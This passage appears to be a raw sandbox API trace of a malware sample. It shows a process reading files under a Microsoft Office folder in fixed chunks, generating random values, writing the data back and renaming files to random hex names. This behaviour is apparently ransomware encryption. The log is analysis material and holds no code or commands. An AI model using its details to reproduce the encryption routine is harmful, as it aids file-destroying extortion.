lpOverlapped=0x0) returned 1 [0161.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4235f0f0) returned 1 [0161.117] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x119400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.117] ReadFile (in: hFile=0x1b04, lpBuffer=0x4236a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3f10fa00, lpOverlapped=0x0 | out: lpBuffer=0x4236a520*, lpNumberOfBytesRead=0x3f10fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0165.624] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x119400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff0d0 [0165.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff0d0) returned 1 [0165.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceda600 [0165.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff0d0 [0165.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff010 [0165.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff010) returned 1 [0165.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.627] WriteFile (in: hFile=0x1b04, lpBuffer=0x1ceda600*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3f10fa00, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesWritten=0x3f10fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0187.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceda600) returned 1 [0187.132] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x228810, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.132] ReadFile (in: hFile=0x1b04, lpBuffer=0x4236a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3f10fa00, lpOverlapped=0x0 | out: lpBuffer=0x4236a520*, lpNumberOfBytesRead=0x3f10fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0190.518] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x228810, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b30 [0190.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138b30) returned 1 [0190.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b1b240 [0190.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b30 [0190.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b60 [0190.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138b60) returned 1 [0190.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.521] WriteFile (in: hFile=0x1b04, lpBuffer=0x42b1b240*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3f10fa00, lpOverlapped=0x0 | out: lpBuffer=0x42b1b240*, lpNumberOfBytesWritten=0x3f10fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0205.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b1b240) returned 1 [0205.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f1a0 [0205.302] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.302] WriteFile (in: hFile=0x1b04, lpBuffer=0x1cebdd20*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x3f10fab0, lpOverlapped=0x0 | out: lpBuffer=0x1cebdd20*, lpNumberOfBytesWritten=0x3f10fab0*=0x146, lpOverlapped=0x0) returned 1 [0208.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a60 [0208.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608a0 [0208.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608a0) returned 1 [0208.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d520 [0208.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608a0 [0208.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860930 [0208.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860930) returned 1 [0208.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0208.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1ce5e370 [0208.543] sprintf (in: _Dest=0x1ce5e370, _Format="%c%c" | out: _Dest="b0") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e372, _Format="%c%c" | out: _Dest="63") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e374, _Format="%c%c" | out: _Dest="7b") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e376, _Format="%c%c" | out: _Dest="5c") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e378, _Format="%c%c" | out: _Dest="f7") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e37a, _Format="%c%c" | out: _Dest="42") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e37c, _Format="%c%c" | out: _Dest="c6") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e37e, _Format="%c%c" | out: _Dest="01") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e380, _Format="%c%c" | out: _Dest="1c") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e382, _Format="%c%c" | out: _Dest="4b") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e384, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e386, _Format="%c%c" | out: _Dest="09") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e388, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e38a, _Format="%c%c" | out: _Dest="0c") returned 2 [0208.543] sprintf (in: _Dest=0x1ce5e38c, _Format="%c%c" | out: _Dest="10") returned 2 [0208.544] sprintf (in: _Dest=0x1ce5e38e, _Format="%c%c" | out: _Dest="2e") returned 2 [0208.544] sprintf (in: _Dest=0x1ce5e390, _Format="%c%c" | out: _Dest="a4") returned 2 [0208.544] sprintf (in: _Dest=0x1ce5e392, _Format="%c%c" | out: _Dest="53") returned 2 [0208.544] sprintf (in: _Dest=0x1ce5e394, _Format="%c%c" | out: _Dest="7a") returned 2 [0208.544] sprintf (in: _Dest=0x1ce5e396, _Format="%c%c" | out: _Dest="95") returned 2 [0208.544] RtlInitAnsiString (in: DestinationString=0x3f10fb28, SourceString="b0637b5cf742c6011c4beb095d0c102ea4537a95" | out: DestinationString="b0637b5cf742c6011c4beb095d0c102ea4537a95") [0208.544] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f10faf8, SourceString="b0637b5cf742c6011c4beb095d0c102ea4537a95", AllocateDestinationString=1 | out: DestinationString="b0637b5cf742c6011c4beb095d0c102ea4537a95") returned 0x0 [0208.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858490 [0208.545] wcscat (in: _Dest=0x431a1410, _Source="b0637b5cf7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b0637b5cf7") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b0637b5cf7" [0208.545] wcscat (in: _Dest=0x431a1410, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b0637b5cf7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b0637b5cf7.2f9b60" [0208.545] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b0637b5cf7.2f9b60", NtPathName=0x3f10fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\b0637b5cf7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43146090 Thread: id = 2245 os_tid = 0x8c4 [0143.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x205098d0 [0143.031] wcscpy (in: _Dest=0x205098d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" [0143.031] wcscat (in: _Dest=0x205098d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\" [0143.031] wcscat (in: _Dest=0x205098d0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*" [0143.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205027a0 [0143.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86b50 [0145.247] wcscmp (_String1=".", _String2=".") returned 0 [0145.247] FindNextFileW (in: hFindFile=0x1cd86b50, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.247] wcscmp (_String1="..", _String2=".") returned 1 [0145.247] wcscmp (_String1="..", _String2="..") returned 0 [0145.247] FindNextFileW (in: hFindFile=0x1cd86b50, lpFindFileData=0x205027a0 | out: lpFindFileData=0x205027a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0145.247] wcscmp (_String1="BG_ADOBE.GIF", _String2=".") returned 1 [0145.247] wcscmp (_String1="BG_ADOBE.GIF", _String2="..") returned 1 [0145.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b08d0 [0145.247] wcscpy (in: _Dest=0x202b08d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" [0145.247] wcscat (in: _Dest=0x202b08d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\" [0145.247] wcscat (in: _Dest=0x202b08d0, _Source="BG_ADOBE.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" [0152.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif")) returned 0x20 [0152.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF", dwFileAttributes=0x20) returned 1 [0152.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25f0 [0152.233] GetFileSizeEx (in: hFile=0x25f0, lpFileSize=0x3ed1f820 | out: lpFileSize=0x3ed1f820*=24910) returned 1 [0152.233] SetFilePointerEx (in: hFile=0x25f0, liDistanceToMove=0x614a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.233] ReadFile (in: hFile=0x25f0, lpBuffer=0x3ed1f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ed1f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3ed1f7a0*, lpNumberOfBytesRead=0x3ed1f7e8*=0x4, lpOverlapped=0x0) returned 1 [0152.258] SetFilePointerEx (in: hFile=0x25f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b90 [0152.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500c50 [0152.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ce0 [0152.258] NtQuerySystemTime (in: CurrentTime=0x3ed1f6e0 | out: CurrentTime=0x3ed1f6e0*=132462177574738000) returned 0x0 [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x51d70bf6 [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x7101df74 [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x49c9d04d [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x413da84c [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x5c5d68e5 [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1ae184a5 [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x1509fb13 [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3d5390b7 [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x4aacad41 [0152.258] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x58044232 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0xf2435c5 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x28b4afd [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x575d2d21 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x58decbe1 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x7f7d6fad [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x28edd7ce [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x37640502 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x7d03e55e [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x125a3f1f [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x56be514 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3e9e27d9 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x4dc912a2 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x3adf0f08 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0xabb63f0 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x6f6e63d0 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x60ffdfb8 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x5b9ce3ef [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x2e0244c6 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x7e61c89d [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x27f09db1 [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x6811ba8f [0152.259] RtlRandomEx (in: Seed=0x3ed1f6d0 | out: Seed=0x3ed1f6d0) returned 0x6c098c05 [0152.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d10 [0152.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0152.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d40 [0152.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0152.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ce0) returned 1 [0152.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b90) returned 1 [0152.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425e69f0 [0152.269] SetFilePointerEx (in: hFile=0x25f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.269] ReadFile (in: hFile=0x25f0, lpBuffer=0x425e69f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ed1f740, lpOverlapped=0x0 | out: lpBuffer=0x425e69f0*, lpNumberOfBytesRead=0x3ed1f740*=0x3c00, lpOverlapped=0x0) returned 1 [0152.280] SetFilePointerEx (in: hFile=0x25f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ba0 [0152.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0152.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ce0 [0152.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ce0) returned 1 [0152.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425ee500 [0152.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ce0 [0152.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0152.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0152.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0152.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0152.286] WriteFile (hFile=0x25f0, lpBuffer=0x425ee500, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ed1f740, lpOverlapped=0x0) [0186.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425ee500) returned 1 [0186.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425e69f0) returned 1 [0186.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9bf0 [0186.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1d90 [0186.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c4c0 [0186.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9c20 [0186.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9c20) returned 1 [0186.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9c20 [0186.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9c50 [0186.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9c80 [0186.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9c80) returned 1 [0186.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c4c0) returned 1 [0186.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1d90) returned 1 [0186.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43101380 [0186.489] SetFilePointerEx (in: hFile=0x25f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.489] WriteFile (in: hFile=0x25f0, lpBuffer=0x43101380*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3ed1f7f0, lpOverlapped=0x0 | out: lpBuffer=0x43101380*, lpNumberOfBytesWritten=0x3ed1f7f0*=0x10a, lpOverlapped=0x0) returned 1 [0206.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb160 [0206.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99a0 [0206.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a99a0) returned 1 [0206.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f160 [0206.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99a0 [0206.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0206.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a95e0) returned 1 [0206.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb160) returned 1 [0206.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9eaf0 [0206.612] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="9e") returned 2 [0206.612] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.612] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="dc") returned 2 [0206.612] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="70") returned 2 [0206.612] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="46") returned 2 [0206.612] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="ff") returned 2 [0206.612] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="ee") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="4d") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="bb") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="51") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="48") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="90") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="aa") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="ac") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="ae") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="f9") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="cc") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="a2") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="8b") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="4c") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb18, _Format="%c%c" | out: _Dest="42") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb1a, _Format="%c%c" | out: _Dest="4c") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb1c, _Format="%c%c" | out: _Dest="7d") returned 2 [0206.613] sprintf (in: _Dest=0x1cd9eb1e, _Format="%c%c" | out: _Dest="23") returned 2 [0206.613] RtlInitAnsiString (in: DestinationString=0x3ed1f868, SourceString="9edddc7046ffee4dbb514890aaacaef9cca28b4c424c7d23" | out: DestinationString="9edddc7046ffee4dbb514890aaacaef9cca28b4c424c7d23") [0206.613] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ed1f838, SourceString="9edddc7046ffee4dbb514890aaacaef9cca28b4c424c7d23", AllocateDestinationString=1 | out: DestinationString="9edddc7046ffee4dbb514890aaacaef9cca28b4c424c7d23") returned 0x0 [0206.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309f670 [0206.614] wcscat (in: _Dest=0x202aca50, _Source="9edddc7046ff" | out: _Dest="C:\\Program Files\\Microsoft 